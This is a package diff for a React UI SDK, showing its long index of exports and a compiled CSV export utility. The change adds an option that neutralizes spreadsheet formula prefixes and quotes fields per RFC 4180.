import { createRoleAccessControl as so } from "./access/create-role-access-control.js";
|
|
268
|
+
import { permissionsFromToken as co } from "./access/permissions-from-token.js";
|
|
269
|
+
import { GoogleSignIn as lo } from "./oauth/GoogleSignIn.js";
|
|
270
|
+
import { useOAuthCallback as uo } from "./oauth/use-oauth-callback.js";
|
|
271
|
+
import { OAuthCallbackError as fo, exchangeOAuthCallback as po, readOAuthCallbackParams as mo } from "./oauth/callback.js";
|
|
272
|
+
import { CACHE_TIME as ho, REFETCH_TIME as go, STALE_TIME as _o } from "./query/constants.js";
|
|
273
|
+
import { createQueryKeys as vo } from "./query/create-query-keys.js";
|
|
274
|
+
import { shouldRetryQuery as yo } from "./query/retry-policy.js";
|
|
275
|
+
import { QueryProvider as bo } from "./query/QueryProvider.js";
|
|
276
|
+
import { emptyOffsetPage as xo, isCursorPage as So, isOffsetPage as Co } from "./query/pagination.js";
|
|
277
|
+
import { usePaginatedQuery as wo } from "./query/use-paginated-query.js";
|
|
278
|
+
import { useCursorQuery as To } from "./query/use-cursor-query.js";
|
|
279
|
+
import { useOfflineMutation as Eo } from "./query/use-offline-mutation.js";
|
|
280
|
+
import { removeById as Do, upsertById as Oo } from "./query/optimistic.js";
|
|
281
|
+
import { createOfflineStore as ko } from "./offline/create-offline-store.js";
|
|
282
|
+
import { persistQueryClientOffline as Ao } from "./query/offline-persistence.js";
|
|
283
|
+
import { createDataProvider as jo, encodeIdSegment as Mo } from "./data/create-data-provider.js";
|
|
284
|
+
import { TempestDataProvider as No, useDataProvider as Po } from "./data/data-provider-context.js";
|
|
285
|
+
import { listQueryKey as Fo, oneQueryKey as Io, useCreate as Lo, useDelete as Ro, useList as zo, useOne as Bo, useUpdate as Vo } from "./data/use-resource.js";
|
|
286
|
+
import { RouteGuard as Ho } from "./router/RouteGuard.js";
|
|
287
|
+
import { AppRouter as Uo, defineRoutes as Wo } from "./router/AppRouter.js";
|
|
288
|
+
import { BrowserRouter as Go, HashRouter as Ko, Link as qo, MemoryRouter as Jo, NavLink as Yo, Navigate as Xo, Outlet as Zo, Route as Qo, Routes as $o, redirect as es, useLocation as ts, useMatch as ns, useNavigate as rs, useParams as is, useRouteError as as, useSearchParams as os } from "./router/index.js";
|
|
289
|
+
import { createStore as ss } from "./store/create-store.js";
|
|
290
|
+
import { createSelectors as cs } from "./store/create-selectors.js";
|
|
291
|
+
import { ThemeProvider as ls, useTheme as us } from "./theme/ThemeProvider.js";
|
|
292
|
+
import { ErrorBoundary as ds } from "./error-boundary/ErrorBoundary.js";
|
|
293
|
+
import { AppProviders as fs } from "./app/AppProviders.js";
|
|
294
|
+
import { createEventStream as ps } from "./sse/create-event-stream.js";
|
|
295
|
+
import { useEventStream as ms } from "./sse/use-event-stream.js";
|
|
296
|
+
import { isPushSupported as hs, urlBase64ToUint8Array as gs } from "./push/utils.js";
|
|
297
|
+
import { WebPushClient as _s, WebPushPermissionDeniedError as vs, WebPushUnsubscribeError as ys, WebPushUnsupportedError as bs } from "./push/web-push-client.js";
|
|
298
|
+
import { usePushSubscription as xs } from "./push/use-push-subscription.js";
|
|
299
|
+
import { installNotificationClickHandler as Ss, installPushHandler as Cs, installSkipWaitingListener as ws } from "./sw/create-push-handler.js";
|
|
300
|
+
import { DEFAULT_CREDENTIAL_HEADERS as Ts } from "./sw/credential-headers.js";
|
|
301
|
+
import { createPartialResponse as Es, installPrecache as Ds, installRuntimeCache as Os } from "./sw/cache.js";
|
|
302
|
+
import { BACKGROUND_SYNC_CREDENTIALS_MESSAGE as ks, clearBackgroundSyncQueue as As, installBackgroundSync as js, provideBackgroundSyncCredentials as Ms } from "./sw/background-sync.js";
|
|
303
|
+
import { registerPeriodicSync as Ns } from "./sw/periodic-sync.js";
|
|
304
|
+
import { clearCaches as Ps, inspectCaches as Fs } from "./sw/cache-inspect.js";
|
|
305
|
+
import { clearSessionData as Is } from "./sw/session-data.js";
|
|
306
|
+
import { createAudioPlayer as Ls, playAudio as Rs, stopAudio as zs } from "./audio/audio-player.js";
|
|
307
|
+
import { useAudio as Bs } from "./audio/use-audio.js";
|
|
308
|
+
import { createSfxPool as Vs } from "./audio/sfx-pool.js";
|
|
309
|
+
import { useSfxPool as Hs } from "./audio/use-sfx-pool.js";
|
|
310
|
+
import { DEFAULT_MAX_GAIN as Us, createAudioBus as Ws } from "./audio/audio-bus.js";
|
|
311
|
+
import { useAudioBus as Gs } from "./audio/use-audio-bus.js";
|
|
312
|
+
import { DEFAULT_VOICE_CHAIN as Ks, createVoiceChain as qs, isVoiceChainIdle as Js, monitorVoiceChain as Ys } from "./audio/voice-chain.js";
|
|
313
|
+
import { measureNoiseFloor as Xs, suggestGateThreshold as Zs } from "./audio/noise-floor.js";
|
|
314
|
+
import { monitorVoiceActivity as Qs } from "./audio/voice-activity.js";
|
|
315
|
+
import { createVideoRecorder as $s, isVideoRecordingSupported as ec, pickVideoMimeType as tc } from "./capture/video-recorder.js";
|
|
316
|
+
import { useVideoRecorder as nc } from "./capture/use-video-recorder.js";
|
|
317
|
+
import { isScreenCaptureSupported as rc, useScreenCapture as ic } from "./capture/use-screen-capture.js";
|
|
318
|
+
import { isSpeechRecognitionSupported as ac, useSpeechRecognition as oc } from "./capture/use-speech-recognition.js";
|
|
319
|
+
import { createOfflineDatabase as sc } from "./offline/create-offline-database.js";
|
|
320
|
+
import { createOfflineSync as cc } from "./offline/create-offline-sync.js";
|
|
321
|
+
import { higherVersionWins as lc, lastWriteWins as uc } from "./offline/conflict.js";
|
|
322
|
+
import { useErrorHandler as dc } from "./error-boundary/use-error-handler.js";
|
|
323
|
+
import { FormField as fc } from "./forms/FormField.js";
|
|
324
|
+
import { validateForm as pc } from "./forms/validate-form.js";
|
|
325
|
+
import { zodResolver as mc } from "./forms/zod-resolver.js";
|
|
326
|
+
import { useZodForm as hc } from "./forms/use-zod-form.js";
|
|
327
|
+
import { formatCEP as gc, formatCNPJ as _c, unmask as vc, validateCNPJ as yc, validateCPF as bc } from "./forms/br-validators.js";
|
|
328
|
+
import { CEPInput as xc, CNPJInput as Sc, CPFInput as Cc, MoneyInput as wc, PhoneInput as Tc } from "./forms/masked-inputs.js";
|
|
329
|
+
import { useViaCEP as Ec } from "./forms/use-viacep.js";
|
|
330
|
+
import { Controller as Dc, FormProvider as Oc, useFieldArray as kc, useForm as Ac, useFormContext as jc, useFormState as Mc, useWatch as Nc } from "./forms/index.js";
|
|
331
|
+
import { HEARTBEAT_CLOSE_CODE as Pc, isRejectionCloseCode as Fc } from "./ws/resilience.js";
|
|
332
|
+
import { createWebSocket as Ic } from "./ws/create-web-socket.js";
|
|
333
|
+
import { useWebSocket as Lc } from "./ws/use-web-socket.js";
|
|
334
|
+
import { setTunedLocalDescription as Rc, tuneOpus as zc } from "./webrtc/opus-sdp.js";
|
|
335
|
+
import { setSenderBitrate as Bc } from "./webrtc/sender-bitrate.js";
|
|
336
|
+
import { createLinkStatsSampler as Vc, readAvailableOutgoingKbps as Hc, readQualityLimitation as Uc, readRelayed as Wc, readRoundTripMs as Gc } from "./webrtc/link-stats.js";
|
|
337
|
+
import { useLinkStats as Kc } from "./webrtc/use-link-stats.js";
|
|
338
|
+
import { resolveDegradation as qc, scaleForRoom as Jc } from "./webrtc/mesh-quality.js";
|
|
339
|
+
import { createPeerMesh as Yc } from "./webrtc/peer-mesh.js";
|
|
340
|
+
import { clampLatitude as Xc, isCoordinate as Zc, isValidLatitude as Qc, isValidLongitude as $c, normalizeLongitude as el } from "./geo/types.js";
|
|
341
|
+
import { EARTH_RADIUS_KM as tl, bearingDeg as nl, haversineKm as rl, pathLengthKm as il, toRadians as al } from "./geo/distance.js";
|
|
342
|
+
import { DEFAULT_CAR_SPEED_KMH as ol, DEFAULT_CIRCUITY_FACTOR as sl, DEFAULT_MODE_DURATION_FACTORS as cl, estimateTravel as ll } from "./geo/estimate.js";
|
|
343
|
+
import { boundingBox as ul, boundsCenter as dl, expandBounds as fl } from "./geo/bounds.js";
|
|
344
|
+
import { fitProjection as pl, projectMercator as ml, unprojectMercator as hl } from "./geo/projection.js";
|
|
345
|
+
import { createOSRMBackend as gl } from "./geo/routing.js";
|
|
346
|
+
import { createPositionTracker as _l } from "./geo/create-position-tracker.js";
|
|
347
|
+
import { usePositionTracker as vl } from "./geo/use-position-tracker.js";
|
|
348
|
+
import { TrajectoryMap as yl } from "./geo/TrajectoryMap.js";
|
|
349
|
+
import { applyTheme as bl, readThemeToken as xl } from "./theme/apply-theme.js";
|
|
350
|
+
import { contrastRatio as Sl, createColorScale as Cl, hexToOklch as wl, hexToRgb as Tl, hexToRgbaString as El, oklchToHex as Dl, readableForeground as Ol, relativeLuminance as kl, rgbToHex as Al } from "./theme/color.js";
|
|
351
|
+
import { createTheme as jl, themeContrast as Ml } from "./theme/create-theme.js";
|
|
352
|
+
import { createInverseSurface as Nl } from "./theme/inverse-surface.js";
|
|
353
|
+
import { getThemePreset as Pl, themePresets as Fl } from "./theme/theme-presets.js";
|
|
354
|
+
import { getInitialTheme as Il, themeInitScript as Ll } from "./theme/initial-theme.js";
|
|
355
|
+
import { consoleSink as Rl, createLogger as zl } from "./logger/logger.js";
|
|
356
|
+
import { TelemetryProvider as Bl, useTelemetry as Vl } from "./telemetry/TelemetryProvider.js";
|
|
357
|
+
import { consoleTelemetryAdapter as Hl } from "./telemetry/console-adapter.js";
|
|
358
|
+
import { createSentryTelemetryAdapter as Ul } from "./telemetry/sentry-adapter.js";
|
|
359
|
+
import { createPostHogTelemetryAdapter as Wl } from "./telemetry/posthog-adapter.js";
|
|
360
|
+
import { describeAppError as Gl } from "./telemetry/describe-app-error.js";
|
|
361
|
+
import { createAppErrorReporter as Kl } from "./telemetry/app-error-reporter.js";
|
|
362
|
+
import { createAppErrorTelemetryAdapter as ql } from "./telemetry/app-error-adapter.js";
|
|
363
|
+
import { FeatureFlagsProvider as Jl, useFeatureFlag as Yl, useFlagValue as Xl } from "./feature-flags/FeatureFlagsProvider.js";
|
|
364
|
+
import { createInMemoryFlags as Zl } from "./feature-flags/in-memory-adapter.js";
|
|
365
|
+
import { createGrowthBookFeatureFlagsAdapter as Ql } from "./feature-flags/growthbook-adapter.js";
|
|
366
|
+
import { createLaunchDarklyFeatureFlagsAdapter as $l } from "./feature-flags/launchdarkly-adapter.js";
|
|
367
|
+
import { DIVERGING_STEP_COUNT as eu, ORDINAL_START_STEP as tu, SEQUENTIAL_STEP_COUNT as nu, divergingScale as ru, scaleSteps as iu, sequentialScale as au } from "./charts/scales.js";
|
|
368
|
+
import { cachedResponseBytes as ou } from "./perf/cache-size.js";
|
|
369
|
+
import { readDeviceProfile as su } from "./perf/device.js";
|
|
370
|
+
import { formatDurationMs as cu } from "./perf/format.js";
|
|
371
|
+
import { createInferenceProfiler as lu } from "./perf/profiler.js";
|
|
372
|
+
export { Qt as ABSENT_TEXT, ri as AIChat, Zr as AIChatComposer, ni as AIChatTurn, Fr as ALL_BARCODE_FORMATS, Vt as ALL_OPTION_VALUE, ba as API_ERROR_OFFLINE_KEY, xa as API_ERROR_VALIDATION_KEY, wr as AUDIO_MIME_CANDIDATES, ro as AccessControlProvider, t as Accordion, n as Alert, i as AppBar, fs as AppProviders, Uo as AppRouter, s as AppShell, c as AspectRatio, Sr as AudioPlayer, Pr as AudioRecorder, za as AuthGuard, l as Avatar, u as AvatarGroup, ks as BACKGROUND_SYNC_CREDENTIALS_MESSAGE, a as BREAKPOINTS, d as Badge, f as Banner, ci as BarList, Ur as BarcodeScanner, p as BottomNavigation, h as BottomSheet, g as Breadcrumbs, Go as BrowserRouter, _ as Button, v as ButtonSlot, ho as CACHE_TIME, xc as CEPInput, Sc as CNPJInput, Cc as CPFInput, $n as Calendar, oo as Can, y as Card, ar as Carousel, b as Center, yr as Chat, _r as ChatBubble, vr as ChatComposer, x as Checkbox, S as ChipInput, In as ClickOutside, An as CodeBlock, qn as Collapsible, w as Combobox, Xn as Command, Ln as ConditionalWrapper, E as ConfirmDialog, B as Container, Jn as ContextMenu, Dc as Controller, kn as CopyButton, Sa as DEFAULT_API_ERROR_STRINGS, Ir as DEFAULT_BARCODE_FORMATS, ol as DEFAULT_CAR_SPEED_KMH, Na as DEFAULT_CHUNK_SIZE, sl as DEFAULT_CIRCUITY_FACTOR, Ts as DEFAULT_CREDENTIAL_HEADERS, da as DEFAULT_CSRF_COOKIE_NAME, fa as DEFAULT_CSRF_HEADER_NAME, Us as DEFAULT_MAX_GAIN, cl as DEFAULT_MODE_DURATION_FACTORS, bn as DEFAULT_PLAYBACK_RATES, Wa as DEFAULT_PUB_KEY_CRED_PARAMS, ye as DEFAULT_PUSH_TO_TALK_KEY, Ks as DEFAULT_VOICE_CHAIN, eu as DIVERGING_STEP_COUNT, Vn as DataList, or as DataTable, O as DatePicker, nr as DateRangePicker, Hn as DescriptionList, k as Divider, A as Drawer, j as DropdownMenu, M as Dropzone, tl as EARTH_RADIUS_KM, N as EmptyState, ds as ErrorBoundary, P as ErrorState, zn as ErrorText, Jl as FeatureFlagsProvider, F as FileUpload, pi as FilterBar, wi as FilterPanel, cr as FloatingActionButton, Rn as For, I as Form, L as FormActions, fc as FormField, Oc as FormProvider, R as FormRow, z as FormSection, lo as GoogleSignIn, V as Grid, Pc as HEARTBEAT_CLOSE_CODE, Ko as HashRouter, Ft as Hide, Yn as HoverCard, Ta as I18nProvider, Bn as Image, mn as ImageCropper, D as Input, X as InstallBanner, Z as InstallButton, mt as Kanban, gt as Kbd, Kn as Label, pr as Lightbox, qo as Link, sr as ListTile, ti as Markdown, ai as Masonry, Jo as MemoryRouter, ir as Menubar, T as Modal, _t as ModalsProvider, Mn as Money, wc as MoneyInput, tr as MultiSelect, bt as NProgressBar, Yo as NavLink, yt as Navbar, Xo as Navigate, rr as NavigationMenu, lr as NavigationRail, vn as NotificationCenter, fo as OAuthCallbackError, tu as ORDINAL_START_STEP, ct as OfflineIndicator, Zo as Outlet, be as PUSH_TO_TALK_KEYS, wt as Page, Tt as Pagination, Ga as PasskeyError, Et as PasswordInput, Tc as PhoneInput, Ot as PinInput, kt as Popover, C as Portal, At as Progress, Tn as QRCapacityError, On as QRCode, bo as QueryProvider, go as REFETCH_TIME, jt as Radio, Mt as RadioGroup, Nt as RangeSlider, Pt as RatingStars, dr as RefreshIndicator, jn as RelativeTime, Qn as Resizable, Fn as Reveal, Qo as Route, Ho as RouteGuard, $o as Routes, nu as SEQUENTIAL_STEP_COUNT, _o as STALE_TIME, Lt as SafeArea, gn as Scheduler, Zn as ScrollArea, Rt as SearchBar, St as Section, Ct as SectionHeader, zt as SegmentedControl, Bt as Select, ma as SessionSupersededError, It as Show, Kt as Sidebar, mr as SignaturePad, qt as Skeleton, er as Slider, Jt as Spacer, hn as Sparkline, Yt as Spinner, H as Stack, Xt as Stat, Zt as Stepper, rn as StepperInput, an as Switch, ft as SyncStatusBadge, sn as Table, cn as Tabs, on as Tag, Bl as TelemetryProvider, ha as TempestApiError, No as TempestDataProvider, ln as Textarea, ls as ThemeProvider, ur as TimePicker, un as Timeline, fn as ToastProvider, Un as Toggle, Wn as ToggleGroup, Gn as ToggleGroupItem, dn as Tooltip, oi as Tour, yl as TrajectoryMap, ii as Transfer, Nn as TreeView, Pn as TruncateText, pt as UpdatePrompt, xn as VideoPlayer, Sn as VirtualList, wn as VirtualTable, dt as VisuallyHidden, _s as WebPushClient, vs as WebPushPermissionDeniedError, ys as WebPushUnsubscribeError, bs as WebPushUnsupportedError, fr as Wizard, Gt as activeNavKey, Wr as aiChatStrings, Te as announce, Si as applyFilters, ht as applyKanbanMove, bl as applyTheme, Gi as assertNever, Ka as base64UrlToBytes, nl as bearingDeg, Mr as blobToWav, ul as boundingBox, dl as boundsCenter, la as buildApiUrl, si as buildBarListRows, U as buildOpenInChromeIntent, qa as bytesToBase64Url, ou as cachedResponseBytes, ji as camelCase, Mi as capitalize, Li as chunk, $t as clamp, Xc as clampLatitude, Ja as classifyPasskeyError, Ee as clearAnnouncer, As as clearBackgroundSyncQueue, Ps as clearCaches, Is as clearSessionData, e as cn, Cn as compareValues, Di as compressToString, Oi as compressedStorage, ki as compressedStorageCodec, Rl as consoleSink, Hl as consoleTelemetryAdapter, Sl as contrastRatio, ya as createApiClient, Kl as createAppErrorReporter, ql as createAppErrorTelemetryAdapter, Ws as createAudioBus, Ls as createAudioPlayer, Tr as createAudioRecorder, Ra as createAuthStore, Lr as createBarcodeDetector, Cl as createColorScale, jo as createDataProvider, ps as createEventStream, Ql as createGrowthBookFeatureFlagsAdapter, wa as createI18n, Zl as createInMemoryFlags, lu as createInferenceProfiler, Nl as createInverseSurface, Ti as createJsonStorage, $l as createLaunchDarklyFeatureFlagsAdapter, Or as createLevelMeter, Vc as createLinkStatsSampler, Pa as createLocalUploadStorage, zl as createLogger, Cr as createMediaRecorder, gl as createOSRMBackend, sc as createOfflineDatabase, ko as createOfflineStore, cc as createOfflineSync, Es as createPartialResponse, Ya as createPasskeyClient, Yc as createPeerMesh, _l as createPositionTracker, Wl as createPostHogTelemetryAdapter, vo as createQueryKeys, Ua as createRefreshQueue, Fa as createResumableUpload, so as createRoleAccessControl, cs as createSelectors, Ul as createSentryTelemetryAdapter, Vs as createSfxPool, ss as createStore, no as createTempestAuth, jl as createTheme, $s as createVideoRecorder, qs as createVoiceChain, Ic as createWebSocket, pa as csrfHeaders, Xi as debounce, Ba as decodeJWT, Ai as decompressFromString, Vi as deepMerge, Y as defaultInstallHint, Wo as defineRoutes, Ca as describeApiError, Gl as describeAppError, li as describeFilter, ru as divergingScale, sa as downloadCsv, xo as emptyOffsetPage, Mo as encodeIdSegment, En as encodeQR, Nr as encodeWav, Dt as estimatePasswordStrength, et as estimateStorage, ll as estimateTravel, po as exchangeOAuthCallback, fl as expandBounds, ui as filtersFromSearchParams, Ci as filtersToQueryParams, di as filtersToSearchParams, pl as fitProjection, en as formatBytes, gc as formatCEP, _c as formatCNPJ, mi as formatCPF, tn as formatCompactNumber, hi as formatCurrency, gi as formatDate, _i as formatDateForInput, vi as formatDateTime, yi as formatDateTimeForInput, cu as formatDurationMs, bi as formatPercent, xi as formatPhone, Ma as generateIdempotencyKey, Il as getInitialTheme, Rr as getSupportedBarcodeFormats, Pl as getThemePreset, Ri as groupBy, rl as haversineKm, wl as hexToOklch, Tl as hexToRgb, El as hexToRgbaString, lc as higherVersionWins, Fs as inspectCaches, js as installBackgroundSync, Ss as installNotificationClickHandler, Ds as installPrecache, Cs as installPushHandler, Os as installRuntimeCache, ws as installSkipWaitingListener, W as isAndroid, G as isAndroidWithoutPromptApi, ga as isApiError, br as isAudioOutputSelectionSupported, Er as isAudioRecordingSupported, zr as isBarcodeDetectionSupported, Xa as isConditionalMediationAvailable, Zc as isCoordinate, So as isCursorPage, Ki as isDefined, Hi as isEmpty, _e as isFullscreenSupported, Gr as isGenerating, K as isIOS, Va as isJWTExpired, Ar as isMediaCaptureSupported, qi as isNumber, Co as isOffsetPage, Za as isPasskeySupported, Ji as isPlainObject, Qa as isPlatformAuthenticatorAvailable, hs as isPushSupported, Fc as isRejectionCloseCode, _a as isRetriableStatus, rc as isScreenCaptureSupported, ia as isShareSupported, ac as isSpeechRecognitionSupported, q as isStandalone, Yi as isString, ua as isTrustedCredentialTarget, Qc as isValidLatitude, $c as isValidLongitude, ec as isVideoRecordingSupported, Js as isVoiceChainIdle, Ni as kebabCase, Kr as lastAssistantId, uc as lastWriteWins, Ha as lazyWithRetry, Fo as listQueryKey, Dn as matrixToPath, Xs as measureNoiseFloor, Zi as memoizeOne, Qs as monitorVoiceActivity, Ys as monitorVoiceChain, rt as moveItem, Br as normalizeBarcode, el as normalizeLongitude, xt as nprogress, Dl as oklchToHex, Ui as omit, Qi as once, Io as oneQueryKey, fi as operatorsFor, Aa as parseResponse, il as pathLengthKm, nn as percentOf, co as permissionsFromToken, Ao as persistQueryClientOffline, Wi as pick, Dr as pickAudioMimeType, tc as pickVideoMimeType, Rs as playAudio, Pi as pluralize, ml as projectMercator, Ms as provideBackgroundSyncCredentials, xe as pushToTalkKeyLabel, na as randomId, zi as range, Hc as readAvailableOutgoingKbps, su as readDeviceProfile, mo as readOAuthCallbackParams, Uc as readQualityLimitation, Wc as readRelayed, Gc as readRoundTripMs, xl as readThemeToken, Ol as readableForeground, hr as receiptLabel, es as redirect, Ns as registerPeriodicSync, Xe as registerServiceWorker, kl as relativeLuminance, _n as relativeTime, Do as removeById, tt as requestPersistentStorage, qc as resolveDegradation, gr as resolveReceiptState, va as retry, Al as rgbToHex, qr as roleLabel, Qr as safeAttachmentUrl, $r as safeImageUrl, ei as safeLinkUrl, Jc as scaleForRoom, iu as scaleSteps, au as sequentialScale, xr as setAudioOutput, r as setDevBuild, Bc as setSenderBitrate, Rc as setTunedLocalDescription, aa as share, oa as shareOrDownloadBlob, yo as shouldRetryQuery, Ze as skipWaiting, ea as sleep, Fi as slugify, zs as stopAudio, Ei as storage, Zs as suggestGateThreshold, Jr as tailSignature, Ml as themeContrast, Ll as themeInitScript, Fl as themePresets, $i as throttle, ca as toCsv, Ht as toOptions, al as toRadians, Ii as truncate, zc as tuneOpus, Yr as turnTime, Bi as uniqueBy, vc as unmask, hl as unprojectMercator, Qe as unregisterAllServiceWorkers, Ia as uploadFingerprint, ja as uploadWithProgress, Oo as upsertById, gs as urlBase64ToUint8Array, io as useAccessControl, De as useAnnounce, ce as useAsync, Bs as useAudio, Gs as useAudioBus, kr as useAudioRecorder, Hr as useBarcodeScanner, he as useBeforeInstallPrompt, o as useBreakpoint, ao as useCan, Ke as useClickOutside, ee as useClientFilter, pe as useClipboard, ze as useCountdown, Re as useCounter, Lo as useCreate, To as useCursorQuery, Po as useDataProvider, Q as useDebounce, te as useDeepMemo, Ro as useDelete, ka as useDescribeApiError, Ie as useDisclosure, Ve as useDocumentTitle, ue as useDocumentVisibility, re as useDraftFilters, dc as useErrorHandler, ae as useEventListener, ms as useEventStream, He as useFavicon, Yl as useFeatureFlag, kc as useFieldArray, Xl as useFlagValue, m as useFocusTrap, Ac as useForm, jc as useFormContext, Mc as useFormState, ve as useFullscreen, Ce as useGeolocation, Pe as useHover, Ea as useI18n, ge as useIdle, J as useInstallPrompt, de as useIntersectionObserver, Ae as useInterval, qe as useIsFirstRender, me as useKeyboardShortcut, ne as useLatestRef, Kc as useLinkStats, zo as useList, Le as useListState, oe as useLocalStorage, ts as useLocation, Fe as useLongPress, Ye as useLongPressHandlers, Ue as useMap, ns as useMatch, st as useMediaDevices, ot as useMediaPermission, ie as useMediaQuery, jr as useMicrophone, vt as useModals, rs as useNavigate, yn as useNotificationInbox, uo as useOAuthCallback, Je as useObjectUrl, Eo as useOfflineMutation, lt as useOfflineSync, Bo as useOne, le as useOnline, Da as useOptionalI18n, wo as usePaginatedQuery, $ as usePagination, is as useParams, $a as usePasskeyCapabilities, eo as usePasskeyRegistration, to as usePasskeySignIn, La as usePoll, vl as usePositionTracker, ke as usePrevious, xs as usePushSubscription, Se as usePushToTalk, Ge as useQueue, fe as useResizeObserver, as as useRouteError, ic as useScreenCapture, we as useScrollLock, at as useScrollOverflow, os as useSearchParams, $e as useServiceWorkerUpdate, We as useSet, Hs as useSfxPool, it as useSortable, oc as useSpeechRecognition, Oe as useStableCallback, nt as useStorageEstimate, ut as useSyncStatus, Vl as useTelemetry, us as useTheme, Me as useThrottle, je as useTimeout, pn as useToast, se as useToggle, Vr as useTorch, Oa as useTranslate, Be as useTypewriter, Vo as useUpdate, Ec as useViaCEP, nc as useVideoRecorder, Nc as useWatch, Lc as useWebSocket, Ne as useWindowSize, hc as useZodForm, yc as validateCNPJ, bc as validateCPF, pc as validateForm, Xr as visibleTurns, Ut as withAllOption, Wt as withEmptyOption, ta as withTimeout, ra as writeXlsx, mc as zodResolver };
|
package/dist/utils/csv.cjs
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
const e=require("../share/share-or-download.cjs");var t=`
|
|
2
|
-
`)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function
|
|
3
|
-
`)}`}async function
|
|
1
|
+
const e=require("../share/share-or-download.cjs");var t=``,n=/^[=+\-@\t\r]/,r=/^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;function i(e){return e===`-`||r.test(e)?e:n.test(e)?`'${e}`:e}function a(e,t){return e.includes(t)||e.includes(`"`)||e.includes(`
|
|
2
|
+
`)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function o(e,t){return e==null?``:typeof e==`number`||typeof e==`bigint`||typeof e==`boolean`?String(e):e instanceof Date?e.toISOString():t?i(String(e)):String(e)}function s(e,n,r={}){let{delimiter:i=`,`,bom:s=!0,neutralizeFormulas:c=!0}=r,l=[n.map(e=>a(o(e.header,c),i)).join(i)];for(let t of e){let e=n.map(e=>a(o(e.csv?e.csv(t):t[e.key],c),i));l.push(e.join(i))}return`${s?t:``}${l.join(`\r
|
|
3
|
+
`)}`}async function c(t,n,r=`export.csv`,i={}){let a=new Blob([s(t,n,i)],{type:`text/csv;charset=utf-8`});await e.shareOrDownloadBlob(a,r)}exports.downloadCsv=c,exports.toCsv=s;
|
|
4
4
|
//# sourceMappingURL=csv.cjs.map
|
package/dist/utils/csv.cjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * @param value - The raw cell value.\n * @returns The text to write.\n */\nfunction cellText(value: unknown): string {\n if (value === null || value === undefined) return \"\";\n if (value instanceof Date) return value.toISOString();\n return String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter and BOM.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true } = options;\n\n const lines = [columns.map((column) => escapeField(column.header, delimiter)).join(delimiter)];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter and BOM, forwarded to 